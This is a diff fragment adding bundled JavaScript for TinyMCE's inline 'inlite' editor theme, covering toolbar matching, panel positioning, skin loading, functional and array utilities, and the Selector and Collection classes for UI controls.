+      var textBlockElementsMap = editor.schema.getTextBlockElements();
+      for (i = 0; i < elements.length; i++) {
+        if (elements[i].nodeName === 'TABLE') {
+          return null;
+        }
+      }
+      for (i = 0; i < elements.length; i++) {
+        if (elements[i].nodeName in textBlockElementsMap) {
+          if (editor.dom.isEmpty(elements[i])) {
+            return $_6lg87517zjjgwejza.result(id, $_51qgo2180jjgwejzb.getSelectionRect(editor));
+          }
+          return null;
+        }
+      }
+      return null;
+    };
+  };
+  var $_fhwgeg184jjgwejzf = {
+    textSelection: textSelection,
+    emptyTextBlock: emptyTextBlock
+  };
+
+  var fireSkinLoaded = function (editor) {
+    editor.fire('SkinLoaded');
+  };
+  var fireBeforeRenderUI = function (editor) {
+    return editor.fire('BeforeRenderUI');
+  };
+  var $_77u64d186jjgwejzi = {
+    fireSkinLoaded: fireSkinLoaded,
+    fireBeforeRenderUI: fireBeforeRenderUI
+  };
+
+  var global$5 = tinymce.util.Tools.resolve('tinymce.EditorManager');
+
+  var isType = function (type) {
+    return function (value) {
+      return typeof value === type;
+    };
+  };
+  var isArray = function (value) {
+    return Array.isArray(value);
+  };
+  var isNull = function (value) {
+    return value === null;
+  };
+  var isObject = function (predicate) {
+    return function (value) {
+      return !isNull(value) && !isArray(value) && predicate(value);
+    };
+  };
+  var isString = function (value) {
+    return isType('string')(value);
+  };
+  var isNumber = function (value) {
+    return isType('number')(value);
+  };
+  var isFunction = function (value) {
+    return isType('function')(value);
+  };
+  var isBoolean = function (value) {
+    return isType('boolean')(value);
+  };
+  var $_e4npq318ajjgwejzo = {
+    isString: isString,
+    isNumber: isNumber,
+    isBoolean: isBoolean,
+    isFunction: isFunction,
+    isObject: isObject(isType('object')),
+    isNull: isNull,
+    isArray: isArray
+  };
+
+  var validDefaultOrDie = function (value, predicate) {
+    if (predicate(value)) {
+      return true;
+    }
+    throw new Error('Default value doesn\'t match requested type.');
+  };
+  var getByTypeOr = function (predicate) {
+    return function (editor, name, defaultValue) {
+      var settings = editor.settings;
+      validDefaultOrDie(defaultValue, predicate);
+      return name in settings && predicate(settings[name]) ? settings[name] : defaultValue;
+    };
+  };
+  var splitNoEmpty = function (str, delim) {
+    return str.split(delim).filter(function (item) {
+      return item.length > 0;
+    });
+  };
+  var itemsToArray = function (value, defaultValue) {
+    var stringToItemsArray = function (value) {
+      return typeof value === 'string' ? splitNoEmpty(value, /[ ,]/) : value;
+    };
+    var boolToItemsArray = function (value, defaultValue) {
+      return value === false ? [] : defaultValue;
+    };
+    if ($_e4npq318ajjgwejzo.isArray(value)) {
+      return value;
+    } else if ($_e4npq318ajjgwejzo.isString(value)) {
+      return stringToItemsArray(value);
+    } else if ($_e4npq318ajjgwejzo.isBoolean(value)) {
+      return boolToItemsArray(value, defaultValue);
+    }
+    return defaultValue;
+  };
+  var getToolbarItemsOr = function (predicate) {
+    return function (editor, name, defaultValue) {
+      var value = name in editor.settings ? editor.settings[name] : defaultValue;
+      validDefaultOrDie(defaultValue, predicate);
+      return itemsToArray(value, defaultValue);
+    };
+  };
+  var $_c8umh189jjgwejzm = {
+    getStringOr: getByTypeOr($_e4npq318ajjgwejzo.isString),
+    getBoolOr: getByTypeOr($_e4npq318ajjgwejzo.isBoolean),
+    getNumberOr: getByTypeOr($_e4npq318ajjgwejzo.isNumber),
+    getHandlerOr: getByTypeOr($_e4npq318ajjgwejzo.isFunction),
+    getToolbarItemsOr: getToolbarItemsOr($_e4npq318ajjgwejzo.isArray)
+  };
+
+  var global$6 = tinymce.util.Tools.resolve('tinymce.geom.Rect');
+
+  var result$1 = function (rect, position) {
+    return {
+      rect: rect,
+      position: position
+    };
+  };
+  var moveTo = function (rect, toRect) {
+    return {
+      x: toRect.x,
+      y: toRect.y,
+      w: rect.w,
+      h: rect.h
+    };
+  };
+  var calcByPositions = function (testPositions1, testPositions2, targetRect, contentAreaRect, panelRect) {
+    var relPos, relRect, outputPanelRect;
+    var paddedContentRect = {
+      x: contentAreaRect.x,
+      y: contentAreaRect.y,
+      w: contentAreaRect.w + (contentAreaRect.w < panelRect.w + targetRect.w ? panelRect.w : 0),
+      h: contentAreaRect.h + (contentAreaRect.h < panelRect.h + targetRect.h ? panelRect.h : 0)
+    };
+    relPos = global$6.findBestRelativePosition(panelRect, targetRect, paddedContentRect, testPositions1);
+    targetRect = global$6.clamp(targetRect, paddedContentRect);
+    if (relPos) {
+      relRect = global$6.relativePosition(panelRect, targetRect, relPos);
+      outputPanelRect = moveTo(panelRect, relRect);
+      return result$1(outputPanelRect, relPos);
+    }
+    targetRect = global$6.intersect(paddedContentRect, targetRect);
+    if (targetRect) {
+      relPos = global$6.findBestRelativePosition(panelRect, targetRect, paddedContentRect, testPositions2);
+      if (relPos) {
+        relRect = global$6.relativePosition(panelRect, targetRect, relPos);
+        outputPanelRect = moveTo(panelRect, relRect);
+        return result$1(outputPanelRect, relPos);
+      }
+      outputPanelRect = moveTo(panelRect, targetRect);
+      return result$1(outputPanelRect, relPos);
+    }
+    return null;
+  };
+  var calcInsert = function (targetRect, contentAreaRect, panelRect) {
+    return calcByPositions([
+      'cr-cl',
+      'cl-cr'
+    ], [
+      'bc-tc',
+      'bl-tl',
+      'br-tr'
+    ], targetRect, contentAreaRect, panelRect);
+  };
+  var calc = function (targetRect, contentAreaRect, panelRect) {
+    return calcByPositions([
+      'tc-bc',
+      'bc-tc',
+      'tl-bl',
+      'bl-tl',
+      'tr-br',
+      'br-tr',
+      'cr-cl',
+      'cl-cr'
+    ], [
+      'bc-tc',
+      'bl-tl',
+      'br-tr',
+      'cr-cl'
+    ], targetRect, contentAreaRect, panelRect);
+  };
+  var userConstrain = function (handler, targetRect, contentAreaRect, panelRect) {
+    var userConstrainedPanelRect;
+    if (typeof handler === 'function') {
+      userConstrainedPanelRect = handler({
+        elementRect: $_1x174x181jjgwejzd.toClientRect(targetRect),
+        contentAreaRect: $_1x174x181jjgwejzd.toClientRect(contentAreaRect),
+        panelRect: $_1x174x181jjgwejzd.toClientRect(panelRect)
+      });
+      return $_1x174x181jjgwejzd.fromClientRect(userConstrainedPanelRect);
+    }
+    return panelRect;
+  };
+  var defaultHandler = function (rects) {
+    return rects.panelRect;
+  };
+  var $_gir42l18bjjgwejzq = {
+    calcInsert: calcInsert,
+    calc: calc,
+    userConstrain: userConstrain,
+    defaultHandler: defaultHandler
+  };
+
+  var toAbsoluteUrl = function (editor, url) {
+    return editor.documentBaseURI.toAbsolute(url);
+  };
+  var urlFromName = function (name) {
+    var prefix = global$5.baseURL + '/skins/';
+    return name ? prefix + name : prefix + 'lightgray';
+  };
+  var getTextSelectionToolbarItems = function (editor) {
+    return $_c8umh189jjgwejzm.getToolbarItemsOr(editor, 'selection_toolbar', [
+      'bold',
+      'italic',
+      '|',
+      'quicklink',
+      'h2',
+      'h3',
+      'blockquote'
+    ]);
+  };
+  var getInsertToolbarItems = function (editor) {
+    return $_c8umh189jjgwejzm.getToolbarItemsOr(editor, 'insert_toolbar', [
+      'quickimage',
+      'quicktable'
+    ]);
+  };
+  var getPositionHandler = function (editor) {
+    return $_c8umh189jjgwejzm.getHandlerOr(editor, 'inline_toolbar_position_handler', $_gir42l18bjjgwejzq.defaultHandler);
+  };
+  var getSkinUrl = function (editor) {
+    var settings = editor.settings;
+    return settings.skin_url ? toAbsoluteUrl(editor, settings.skin_url) : urlFromName(settings.skin);
+  };
+  var isSkinDisabled = function (editor) {
+    return editor.settings.skin === false;
+  };
+  var $_4j2h42187jjgwejzk = {
+    getTextSelectionToolbarItems: getTextSelectionToolbarItems,
+    getInsertToolbarItems: getInsertToolbarItems,
+    getPositionHandler: getPositionHandler,
+    getSkinUrl: getSkinUrl,
+    isSkinDisabled: isSkinDisabled
+  };
+
+  var fireSkinLoaded$1 = function (editor, callback) {
+    var done = function () {
+      editor._skinLoaded = true;
+      $_77u64d186jjgwejzi.fireSkinLoaded(editor);
+      callback();
+    };
+    if (editor.initialized) {
+      done();
+    } else {
+      editor.on('init', done);
+    }
+  };
+  var load = function (editor, callback) {
+    var skinUrl = $_4j2h42187jjgwejzk.getSkinUrl(editor);
+    var done = function () {
+      fireSkinLoaded$1(editor, callback);
+    };
+    if ($_4j2h42187jjgwejzk.isSkinDisabled(editor)) {
+      done();
+    } else {
+      global$2.DOM.styleSheetLoader.load(skinUrl + '/skin.min.css', done);
+      editor.contentCSS.push(skinUrl + '/content.inline.min.css');
+    }
+  };
+  var $_93v08q185jjgwejzh = { load: load };
+
+  var getSelectionElements = function (editor) {
+    var node = editor.selection.getNode();
+    var elms = editor.dom.getParents(node, '*');
+    return elms;
+  };
+  var createToolbar = function (editor, selector, id, items) {
+    var selectorPredicate = function (elm) {
+      return editor.dom.is(elm, selector);
+    };
+    return {
+      predicate: selectorPredicate,
+      id: id,
+      items: items
+    };
+  };
+  var getToolbars = function (editor) {
+    var contextToolbars = editor.contextToolbars;
+    return $_ccn98l17xjjgwejz7.flatten([
+      contextToolbars ? contextToolbars : [],
+      createToolbar(editor, 'img', 'image', 'alignleft aligncenter alignright')
+    ]);
+  };
+  var findMatchResult = function (editor, toolbars) {
+    var result, elements, contextToolbarsPredicateIds;
+    elements = getSelectionElements(editor);
+    contextToolbarsPredicateIds = $_9rj8kx182jjgwejze.fromContextToolbars(toolbars);
+    result = $_6lg87517zjjgwejza.match(editor, [
+      $_egsucq17yjjgwejz9.element(elements[0], contextToolbarsPredicateIds),
+      $_fhwgeg184jjgwejzf.textSelection('text'),
+      $_fhwgeg184jjgwejzf.emptyTextBlock(elements, 'insert'),
+      $_egsucq17yjjgwejz9.parent(elements, contextToolbarsPredicateIds)
+    ]);
+    return result && result.rect ? result : null;
+  };
+  var editorHasFocus = function (editor) {
+    return document.activeElement === editor.getBody();
+  };
+  var togglePanel = function (editor, panel) {
+    var toggle = function () {
+      var toolbars = getToolbars(editor);
+      var result = findMatchResult(editor, toolbars);
+      if (result) {
+        panel.show(editor, result.id, result.rect, toolbars);
+      } else {
+        panel.hide();
+      }
+    };
+    return function () {
+      if (!editor.removed && editorHasFocus(editor)) {
+        toggle();
+      }
+    };
+  };
+  var repositionPanel = function (editor, panel) {
+    return function () {
+      var toolbars = getToolbars(editor);
+      var result = findMatchResult(editor, toolbars);
+      if (result) {
+        panel.reposition(editor, result.id, result.rect);
+      }
+    };
+  };
+  var ignoreWhenFormIsVisible = function (editor, panel, f) {
+    return function () {
+      if (!editor.removed && !panel.inForm()) {
+        f();
+      }
+    };
+  };
+  var bindContextualToolbarsEvents = function (editor, panel) {
+    var throttledTogglePanel = global$3.throttle(togglePanel(editor, panel), 0);
+    var throttledTogglePanelWhenNotInForm = global$3.throttle(ignoreWhenFormIsVisible(editor, panel, togglePanel(editor, panel)), 0);
+    var reposition = repositionPanel(editor, panel);
+    editor.on('blur hide ObjectResizeStart', panel.hide);
+    editor.on('click', throttledTogglePanel);
+    editor.on('nodeChange mouseup', throttledTogglePanelWhenNotInForm);
+    editor.on('ResizeEditor keyup', throttledTogglePanel);
+    editor.on('ResizeWindow', reposition);
+    global$2.DOM.bind(global$1.container, 'scroll', reposition);
+    editor.on('remove', function () {
+      global$2.DOM.unbind(global$1.container, 'scroll', reposition);
+      panel.remove();
+    });
+    editor.shortcuts.add('Alt+F10,F10', '', panel.focus);
+  };
+  var overrideLinkShortcut = function (editor, panel) {
+    editor.shortcuts.remove('meta+k');
+    editor.shortcuts.add('meta+k', '', function () {
+      var toolbars = getToolbars(editor);
+      var result = $_6lg87517zjjgwejza.match(editor, [$_fhwgeg184jjgwejzf.textSelection('quicklink')]);
+      if (result) {
+        panel.show(editor, result.id, result.rect, toolbars);
+      }
+    });
+  };
+  var renderInlineUI = function (editor, panel) {
+    $_93v08q185jjgwejzh.load(editor, function () {
+      bindContextualToolbarsEvents(editor, panel);
+      overrideLinkShortcut(editor, panel);
+    });
+    return {};
+  };
+  var fail = function (message) {
+    throw new Error(message);
+  };
+  var renderUI = function (editor, panel) {
+    return editor.inline ? renderInlineUI(editor, panel) : fail('inlite theme only supports inline mode.');
+  };
+  var $_b0wxh217tjjgwejyx = { renderUI: renderUI };
+
+  var noop = function () {
+    var x = [];
+    for (var _i = 0; _i < arguments.length; _i++) {
+      x[_i] = arguments[_i];
+    }
+  };
+
+  var compose = function (fa, fb) {
+    return function () {
+      var x = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        x[_i] = arguments[_i];
+      }
+      return fa(fb.apply(null, arguments));
+    };
+  };
+  var constant = function (value) {
+    return function () {
+      return value;
+    };
+  };
+
+
+  var curry = function (f) {
+    var x = [];
+    for (var _i = 1; _i < arguments.length; _i++) {
+      x[_i - 1] = arguments[_i];
+    }
+    var args = new Array(arguments.length - 1);
+    for (var i = 1; i < arguments.length; i++)
+      args[i - 1] = arguments[i];
+    return function () {
+      var x = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        x[_i] = arguments[_i];
+      }
+      var newArgs = new Array(arguments.length);
+      for (var j = 0; j < newArgs.length; j++)
+        newArgs[j] = arguments[j];
+      var all = args.concat(newArgs);
+      return f.apply(null, all);
+    };
+  };
+
+
+
+
+  var never = constant(false);
+  var always = constant(true);
+
+  var never$1 = never;
+  var always$1 = always;
+  var none = function () {
+    return NONE;
+  };
+  var NONE = function () {
+    var eq = function (o) {
+      return o.isNone();
+    };
+    var call$$1 = function (thunk) {
+      return thunk();
+    };
+    var id = function (n) {
+      return n;
+    };
+    var noop$$1 = function () {
+    };
+    var nul = function () {
+      return null;
+    };
+    var undef = function () {
+      return undefined;
+    };
+    var me = {
+      fold: function (n, s) {
+        return n();
+      },
+      is: never$1,
+      isSome: never$1,
+      isNone: always$1,
+      getOr: id,
+      getOrThunk: call$$1,
+      getOrDie: function (msg) {
+        throw new Error(msg || 'error: getOrDie called on none.');
+      },
+      getOrNull: nul,
+      getOrUndefined: undef,
+      or: id,
+      orThunk: call$$1,
+      map: none,
+      ap: none,
+      each: noop$$1,
+      bind: none,
+      flatten: none,
+      exists: never$1,
+      forall: always$1,
+      filter: none,
+      equals: eq,
+      equals_: eq,
+      toArray: function () {
+        return [];
+      },
+      toString: constant('none()')
+    };
+    if (Object.freeze)
+      Object.freeze(me);
+    return me;
+  }();
+  var some = function (a) {
+    var constant_a = function () {
+      return a;
+    };
+    var self = function () {
+      return me;
+    };
+    var map = function (f) {
+      return some(f(a));
+    };
+    var bind = function (f) {
+      return f(a);
+    };
+    var me = {
+      fold: function (n, s) {
+        return s(a);
+      },
+      is: function (v) {
+        return a === v;
+      },
+      isSome: always$1,
+      isNone: never$1,
+      getOr: constant_a,
+      getOrThunk: constant_a,
+      getOrDie: constant_a,
+      getOrNull: constant_a,
+      getOrUndefined: constant_a,
+      or: self,
+      orThunk: self,
+      map: map,
+      ap: function (optfab) {
+        return optfab.fold(none, function (fab) {
+          return some(fab(a));
+        });
+      },
+      each: function (f) {
+        f(a);
+      },
+      bind: bind,
+      flatten: constant_a,
+      exists: bind,
+      forall: bind,
+      filter: function (f) {
+        return f(a) ? me : NONE;
+      },
+      equals: function (o) {
+        return o.is(a);
+      },
+      equals_: function (o, elementEq) {
+        return o.fold(never$1, function (b) {
+          return elementEq(a, b);
+        });
+      },
+      toArray: function () {
+        return [a];
+      },
+      toString: function () {
+        return 'some(' + a + ')';
+      }
+    };
+    return me;
+  };
+  var from = function (value) {
+    return value === null || value === undefined ? NONE : some(value);
+  };
+  var Option = {
+    some: some,
+    none: none,
+    from: from
+  };
+
+  var typeOf = function (x) {
+    if (x === null)
+      return 'null';
+    var t = typeof x;
+    if (t === 'object' && Array.prototype.isPrototypeOf(x))
+      return 'array';
+    if (t === 'object' && String.prototype.isPrototypeOf(x))
+      return 'string';
+    return t;
+  };
+  var isType$1 = function (type) {
+    return function (value) {
+      return typeOf(value) === type;
+    };
+  };
+
+
+
+
+
+
+  var isFunction$1 = isType$1('function');
+  var isNumber$1 = isType$1('number');
+
+  var rawIndexOf = function () {
+    var pIndexOf = Array.prototype.indexOf;
+    var fastIndex = function (xs, x) {
+      return pIndexOf.call(xs, x);
+    };
+    var slowIndex = function (xs, x) {
+      return slowIndexOf(xs, x);
+    };
+    return pIndexOf === undefined ? slowIndex : fastIndex;
+  }();
+  var indexOf = function (xs, x) {
+    var r = rawIndexOf(xs, x);
+    return r === -1 ? Option.none() : Option.some(r);
+  };
+
+  var exists = function (xs, pred) {
+    return findIndex(xs, pred).isSome();
+  };
+
+
+  var map = function (xs, f) {
+    var len = xs.length;
+    var r = new Array(len);
+    for (var i = 0; i < len; i++) {
+      var x = xs[i];
+      r[i] = f(x, i, xs);
+    }
+    return r;
+  };
+  var each = function (xs, f) {
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      f(x, i, xs);
+    }
+  };
+
+
+  var filter = function (xs, pred) {
+    var r = [];
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      if (pred(x, i, xs)) {
+        r.push(x);
+      }
+    }
+    return r;
+  };
+
+
+  var foldl = function (xs, f, acc) {
+    each(xs, function (x) {
+      acc = f(acc, x);
+    });
+    return acc;
+  };
+  var find = function (xs, pred) {
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      if (pred(x, i, xs)) {
+        return Option.some(x);
+      }
+    }
+    return Option.none();
+  };
+  var findIndex = function (xs, pred) {
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      if (pred(x, i, xs)) {
+        return Option.some(i);
+      }
+    }
+    return Option.none();
+  };
+  var slowIndexOf = function (xs, x) {
+    for (var i = 0, len = xs.length; i < len; ++i) {
+      if (xs[i] === x) {
+        return i;
+      }
+    }
+    return -1;
+  };
+  var push = Array.prototype.push;
+  var flatten$1 = function (xs) {
+    var r = [];
+    for (var i = 0, len = xs.length; i < len; ++i) {
+      if (!Array.prototype.isPrototypeOf(xs[i]))
+        throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
+      push.apply(r, xs[i]);
+    }
+    return r;
+  };
+
+
+
+  var slice = Array.prototype.slice;
+  var reverse = function (xs) {
+    var r = slice.call(xs, 0);
+    r.reverse();
+    return r;
+  };
+
+
+
+
+
+
+  var from$1 = isFunction$1(Array.from) ? Array.from : function (x) {
+    return slice.call(x);
+  };
+
+  var count = 0;
+  var funcs = {
+    id: function () {
+      return 'mceu_' + count++;
+    },
+    create: function (name$$1, attrs, children) {
+      var elm = document.createElement(name$$1);
+      global$2.DOM.setAttribs(elm, attrs);
+      if (typeof children === 'string') {
+        elm.innerHTML = children;
+      } else {
+        global$4.each(children, function (child) {
+          if (child.nodeType) {
+            elm.appendChild(child);
+          }
+        });
+      }
+      return elm;
+    },
+    createFragment: function (html) {
+      return global$2.DOM.createFragment(html);
+    },
+    getWindowSize: function () {
+      return global$2.DOM.getViewPort();
+    },
+    getSize: function (elm) {
+      var width, height;
+      if (elm.getBoundingClientRect) {
+        var rect = elm.getBoundingClientRect();
+        width = Math.max(rect.width || rect.right - rect.left, elm.offsetWidth);
+        height = Math.max(rect.height || rect.bottom - rect.bottom, elm.offsetHeight);
+      } else {
+        width = elm.offsetWidth;
+        height = elm.offsetHeight;
+      }
+      return {
+        width: width,
+        height: height
+      };
+    },
+    getPos: function (elm, root) {
+      return global$2.DOM.getPos(elm, root || funcs.getContainer());
+    },
+    getContainer: function () {
+      return global$1.container ? global$1.container : document.body;
+    },
+    getViewPort: function (win) {
+      return global$2.DOM.getViewPort(win);
+    },
+    get: function (id) {
+      return document.getElementById(id);
+    },
+    addClass: function (elm, cls) {
+      return global$2.DOM.addClass(elm, cls);
+    },
+    removeClass: function (elm, cls) {
+      return global$2.DOM.removeClass(elm, cls);
+    },
+    hasClass: function (elm, cls) {
+      return global$2.DOM.hasClass(elm, cls);
+    },
+    toggleClass: function (elm, cls, state) {
+      return global$2.DOM.toggleClass(elm, cls, state);
+    },
+    css: function (elm, name$$1, value) {
+      return global$2.DOM.setStyle(elm, name$$1, value);
+    },
+    getRuntimeStyle: function (elm, name$$1) {
+      return global$2.DOM.getStyle(elm, name$$1, true);
+    },
+    on: function (target, name$$1, callback, scope) {
+      return global$2.DOM.bind(target, name$$1, callback, scope);
+    },
+    off: function (target, name$$1, callback) {
+      return global$2.DOM.unbind(target, name$$1, callback);
+    },
+    fire: function (target, name$$1, args) {
+      return global$2.DOM.fire(target, name$$1, args);
+    },
+    innerHtml: function (elm, html) {
+      global$2.DOM.setHTML(elm, html);
+    }
+  };
+
+  var global$7 = tinymce.util.Tools.resolve('tinymce.dom.DomQuery');
+
+  var global$8 = tinymce.util.Tools.resolve('tinymce.util.Class');
+
+  var global$9 = tinymce.util.Tools.resolve('tinymce.util.EventDispatcher');
+
+  var $_4kbuyt18pjjgwek1w = {
+    parseBox: function (value) {
+      var len;
+      var radix = 10;
+      if (!value) {
+        return;
+      }
+      if (typeof value === 'number') {
+        value = value || 0;
+        return {
+          top: value,
+          left: value,
+          bottom: value,
+          right: value
+        };
+      }
+      value = value.split(' ');
+      len = value.length;
+      if (len === 1) {
+        value[1] = value[2] = value[3] = value[0];
+      } else if (len === 2) {
+        value[2] = value[0];
+        value[3] = value[1];
+      } else if (len === 3) {
+        value[3] = value[1];
+      }
+      return {
+        top: parseInt(value[0], radix) || 0,
+        right: parseInt(value[1], radix) || 0,
+        bottom: parseInt(value[2], radix) || 0,
+        left: parseInt(value[3], radix) || 0
+      };
+    },
+    measureBox: function (elm, prefix) {
+      function getStyle(name) {
+        var defaultView = elm.ownerDocument.defaultView;
+        if (defaultView) {
+          var computedStyle = defaultView.getComputedStyle(elm, null);
+          if (computedStyle) {
+            name = name.replace(/[A-Z]/g, function (a) {
+              return '-' + a;
+            });
+            return computedStyle.getPropertyValue(name);
+          } else {
+            return null;
+          }
+        }
+        return elm.currentStyle[name];
+      }
+      function getSide(name) {
+        var val = parseFloat(getStyle(name));
+        return isNaN(val) ? 0 : val;
+      }
+      return {
+        top: getSide(prefix + 'TopWidth'),
+        right: getSide(prefix + 'RightWidth'),
+        bottom: getSide(prefix + 'BottomWidth'),
+        left: getSide(prefix + 'LeftWidth')
+      };
+    }
+  };
+
+  function noop$1() {
+  }
+  function ClassList(onchange) {
+    this.cls = [];
+    this.cls._map = {};
+    this.onchange = onchange || noop$1;
+    this.prefix = '';
+  }
+  global$4.extend(ClassList.prototype, {
+    add: function (cls) {
+      if (cls && !this.contains(cls)) {
+        this.cls._map[cls] = true;
+        this.cls.push(cls);
+        this._change();
+      }
+      return this;
+    },
+    remove: function (cls) {
+      if (this.contains(cls)) {
+        var i = void 0;
+        for (i = 0; i < this.cls.length; i++) {
+          if (this.cls[i] === cls) {
+            break;
+          }
+        }
+        this.cls.splice(i, 1);
+        delete this.cls._map[cls];
+        this._change();
+      }
+      return this;
+    },
+    toggle: function (cls, state) {
+      var curState = this.contains(cls);
+      if (curState !== state) {
+        if (curState) {
+          this.remove(cls);
+        } else {
+          this.add(cls);
+        }
+        this._change();
+      }
+      return this;
+    },
+    contains: function (cls) {
+      return !!this.cls._map[cls];
+    },
+    _change: function () {
+      delete this.clsValue;
+      this.onchange.call(this);
+    }
+  });
+  ClassList.prototype.toString = function () {
+    var value;
+    if (this.clsValue) {
+      return this.clsValue;
+    }
+    value = '';
+    for (var i = 0; i < this.cls.length; i++) {
+      if (i > 0) {
+        value += ' ';
+      }
+      value += this.prefix + this.cls[i];
+    }
+    return value;
+  };
+
+  function unique(array) {
+    var uniqueItems = [];
+    var i = array.length, item;
+    while (i--) {
+      item = array[i];
+      if (!item.__checked) {
+        uniqueItems.push(item);
+        item.__checked = 1;
+      }
+    }
+    i = uniqueItems.length;
+    while (i--) {
+      delete uniqueItems[i].__checked;
+    }
+    return uniqueItems;
+  }
+  var expression = /^([\w\\*]+)?(?:#([\w\-\\]+))?(?:\.([\w\\\.]+))?(?:\[\@?([\w\\]+)([\^\$\*!~]?=)([\w\\]+)\])?(?:\:(.+))?/i;
+  var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;
+  var whiteSpace = /^\s*|\s*$/g;
+  var Collection;
+  var Selector = global$8.extend({
+    init: function (selector) {
+      var match = this.match;
+      function compileNameFilter(name) {
+        if (name) {
+          name = name.toLowerCase();
+          return function (item) {
+            return name === '*' || item.type === name;
+          };
+        }
+      }
+      function compileIdFilter(id) {
+        if (id) {
+          return function (item) {
+            return item._name === id;
+          };
+        }
+      }
+      function compileClassesFilter(classes) {
+        if (classes) {
+          classes = classes.split('.');
+          return function (item) {
+            var i = classes.length;
+            while (i--) {
+              if (!item.classes.contains(classes[i])) {
+                return false;
+              }
+            }
+            return true;
+          };
+        }
+      }
+      function compileAttrFilter(name, cmp, check) {
+        if (name) {
+          return function (item) {
+            var value = item[name] ? item[name]() : '';
+            return !cmp ? !!check : cmp === '=' ? value === check : cmp === '*=' ? value.indexOf(check) >= 0 : cmp === '~=' ? (' ' + value + ' ').indexOf(' ' + check + ' ') >= 0 : cmp === '!=' ? value !== check : cmp === '^=' ? value.indexOf(check) === 0 : cmp === '$=' ? value.substr(value.length - check.length) === check : false;
+          };
+        }
+      }
+      function compilePsuedoFilter(name) {
+        var notSelectors;
+        if (name) {
+          name = /(?:not\((.+)\))|(.+)/i.exec(name);
+          if (!name[1]) {
+            name = name[2];
+            return function (item, index, length) {
+              return name === 'first' ? index === 0 : name === 'last' ? index === length - 1 : name === 'even' ? index % 2 === 0 : name === 'odd' ? index % 2 === 1 : item[name] ? item[name]() : false;
+            };
+          }
+          notSelectors = parseChunks(name[1], []);
+          return function (item) {
+            return !match(item, notSelectors);
+          };
+        }
+      }
+      function compile(selector, filters, direct) {
+        var parts;
+        function add(filter) {
+          if (filter) {
+            filters.push(filter);
+          }
+        }
+        parts = expression.exec(selector.replace(whiteSpace, ''));
+        add(compileNameFilter(parts[1]));
+        add(compileIdFilter(parts[2]));
+        add(compileClassesFilter(parts[3]));
+        add(compileAttrFilter(parts[4], parts[5], parts[6]));
+        add(compilePsuedoFilter(parts[7]));
+        filters.pseudo = !!parts[7];
+        filters.direct = direct;
+        return filters;
+      }
+      function parseChunks(selector, selectors) {
+        var parts = [];
+        var extra, matches, i;
+        do {
+          chunker.exec('');
+          matches = chunker.exec(selector);
+          if (matches) {
+            selector = matches[3];
+            parts.push(matches[1]);
+            if (matches[2]) {
+              extra = matches[3];
+              break;
+            }
+          }
+        } while (matches);
+        if (extra) {
+          parseChunks(extra, selectors);
+        }
+        selector = [];
+        for (i = 0; i < parts.length; i++) {
+          if (parts[i] !== '>') {
+            selector.push(compile(parts[i], [], parts[i - 1] === '>'));
+          }
+        }
+        selectors.push(selector);
+        return selectors;
+      }
+      this._selectors = parseChunks(selector, []);
+    },
+    match: function (control, selectors) {
+      var i, l, si, sl, selector, fi, fl, filters, index, length, siblings, count, item;
+      selectors = selectors || this._selectors;
+      for (i = 0, l = selectors.length; i < l; i++) {
+        selector = selectors[i];
+        sl = selector.length;
+        item = control;
+        count = 0;
+        for (si = sl - 1; si >= 0; si--) {
+          filters = selector[si];
+          while (item) {
+            if (filters.pseudo) {
+              siblings = item.parent().items();
+              index = length = siblings.length;
+              while (index--) {
+                if (siblings[index] === item) {
+                  break;
+                }
+              }
+            }
+            for (fi = 0, fl = filters.length; fi < fl; fi++) {
+              if (!filters[fi](item, index, length)) {
+                fi = fl + 1;
+                break;
+              }
+            }
+            if (fi === fl) {
+              count++;
+              break;
+            } else {
+              if (si === sl - 1) {
+                break;
+              }
+            }
+            item = item.parent();
+          }
+        }
+        if (count === sl) {
+          return true;
+        }
+      }
+      return false;
+    },
+    find: function (container) {
+      var matches = [], i, l;
+      var selectors = this._selectors;
+      function collect(items, selector, index) {
+        var i, l, fi, fl, item;
+        var filters = selector[index];
+        for (i = 0, l = items.length; i < l; i++) {
+          item = items[i];
+          for (fi = 0, fl = filters.length; fi < fl; fi++) {
+            if (!filters[fi](item, i, l)) {
+              fi = fl + 1;
+              break;
+            }
+          }
+          if (fi === fl) {
+            if (index === selector.length - 1) {
+              matches.push(item);
+            } else {
+              if (item.items) {
+                collect(item.items(), selector, index + 1);
+              }
+            }
+          } else if (filters.direct) {
+            return;
+          }
+          if (item.items) {
+            collect(item.items(), selector, index);
+          }
+        }
+      }
+      if (container.items) {
+        for (i = 0, l = selectors.length; i < l; i++) {
+          collect(container.items(), selectors[i], 0);
+        }
+        if (l > 1) {
+          matches = unique(matches);
+        }
+      }
+      if (!Collection) {
+        Collection = Selector.Collection;
+      }
+      return new Collection(matches);
+    }
+  });
+
+  var Collection$1;
+  var proto;
+  var push$1 = Array.prototype.push;
+  var slice$1 = Array.prototype.slice;
+  proto = {
+    length: 0,
+    init: function (items) {
+      if (items) {
+        this.add(items);
+      }
+    },
+    add: function (items) {
+      var self = this;
+      if (!global$4.isArray(items)) {
+        if (items instanceof Collection$1) {
+          self.add(items.toArray());
+        } else {
+          push$1.call(self, items);
+        }
+      } else {
+        push$1.apply(self, items);
+      }
+      return self;
+    },
+    set: function (items) {
+      var self = this;
+      var len = self.length;
+      var i;
+      self.length = 0;
+      self.add(items);
+      for (i = self.length; i < len; i++) {
+        delete self[i];
+      }
+      return self;
+    },
+    filter: function (selector) {
+      var self = this;
+      var i, l;
+      var matches = [];
+      var item, match;
+      if (typeof selector === 'string') {
+        selector = new Selector(selector);
+        match = function (item) {
+          return selector.match(item);
+        };
+      } else {
+        match = selector;
+      }
+      for (i = 0, l = self.length; i < l; i++) {
+        item = self[i];
+        if (match(item)) {
+          matches.push(item);
+        }
+      }
+      return new Collection$1(matches);
+    },
+    slice: function () {
+      return new Collection$1(slice$1.apply(this, arguments));
+    },
